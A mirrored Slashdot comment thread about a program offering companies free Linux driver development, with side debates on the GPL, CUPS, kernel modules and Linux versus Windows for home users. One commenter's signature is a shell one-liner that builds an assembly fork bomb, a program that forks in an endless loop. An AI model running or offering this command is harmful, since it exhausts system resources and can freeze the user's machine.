Slashdot Mirror
Update On Free Linux Driver Development
Remember the offer Greg Kroah-Hartman made earlier this year, to get Linux drivers written for free for any company that wanted them? Now an anonymous reader points us to an article up on linuxworld with an update to this program. Greg K-H, who leads the development of several kernel subsystems including USB and PCI, admits that the January offer was a bit of "marketing hype" — but says it has brought companies and developers together anyway. Twelve companies have said "yes please," one driver is already in the kernel, and five more are in the pipeline.
A list of the twelve companies, please?
"I think an etch-a-sketch with an ethernet port would beat IE7 in web standards compliance."
How about a driver for this ATI All-In-Wonder 3D Rage II +DVD PCI card I can't find drivers for?
--
make install -not war
this is productive
Perhaps you could fund an effort to get the patent invalidated.. or to buy a blanket license for linux.. or to get the patent owner to publically waive their right to sue anyone who distributes the codec or something..
As for CUPS, maybe you could narrow down the exact problem and submit a bug report.. or put together an effort to fund someone to work on it.
It's community software.
How we know is more important than what we know.
From TFA:
What? If the driver code is GPL, why can't I copy it?
I suspect he means "copy" as in "make a derived work" that would have chunks of code taken from the original. But still, this is what GPL is about ... being able to take an existing source and make a derived work from it (that presumably would be better), and redistribute that derived work also under GPL (so someone else can derive from that later on ... and on ... and on).
now we need to go OSS in diesel cars
1. They're loadable modules.
2. You should maybe leave the kernel development to the kernel developers.
How we know is more important than what we know.
Maybe I'm a bit simple but I don't see where CUPS even has "usability" to complain about. You install it (if, oddly, it isn't already), you tell it what and where your printer are (preferably using the KDE print config thing because it's amazingly simple, but the CUPS web jigger isn't bad either), and then from then on you print, and you forget that CUPS exists. Where's the hangup?
I wasn't able to get a printer working under Windows XP 64 bit Edition for about 9 months. Only last week did I figure out how to force windows not to try to use the drivers from the print server (which is 32 bit XP) and to stop it from overwriting the 64 bit drivers with the 32 bit ones. I guarentee it is because the date-time stamps on the drivers were out of wack.. in 3 weeks time they'll probably magically stop working again.
How we know is more important than what we know.
Problems I've had:
Find free books.
If you compile your own kernel you can choose to either leave out the functionality entirely, build it as a runtime-loadable module, or build it into the kernel.
So the only permanent size increase is in the kernel source code. Assuming that the driver is part of a class of similar devices, there is basically no complexity increase as the driver will bind into the standard API for that class of devices.
So generally there is very little downside to adding new drivers to the tree.
The thing is, things don't stay fixed. The same old problems constantly get revisited when someone looks at something semi-widely accepted and decides the code is too ugly and makes a rewrite that doesn't add anything from the user's point of view but forces them to relearn another system.
Hmm, that reminds me of a sad story.
http://www.smcc.demon.nl/webcam/
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You could say the same for Windows:
Windows is fine in an office environment, with IT there to fix things.
However:
1) Making Windows secure requires work and knowledge
2) When things go wrong they can be hard to fix, and even when fixed they have a tendency to mysteriously go wrong again.
3) Software is hard to find, install and update. There are no repositories of software that is safe (not malware), will install with a click, and will all be auto updated.
In short: there is no OS that is really suitable for the home, and there are at least some ways in which Linux is better than the competition.
and what happens with the stuff that doesn't? can you request your money back or ask for technical support because your trying to use linux? checkmate, i win. the distro that can focus 100% on getting everyday useage right will win IMHO
If you mod me down, I will become more powerful than you can imagine....
Only in politics, crime, nepotism ... and other stuff.
Sometimes, I am just to redundant with a left and right brain tearing my mind apart.
Unaccountable leaders are masters, and unrepresented people are slaves. How do US and EU fare?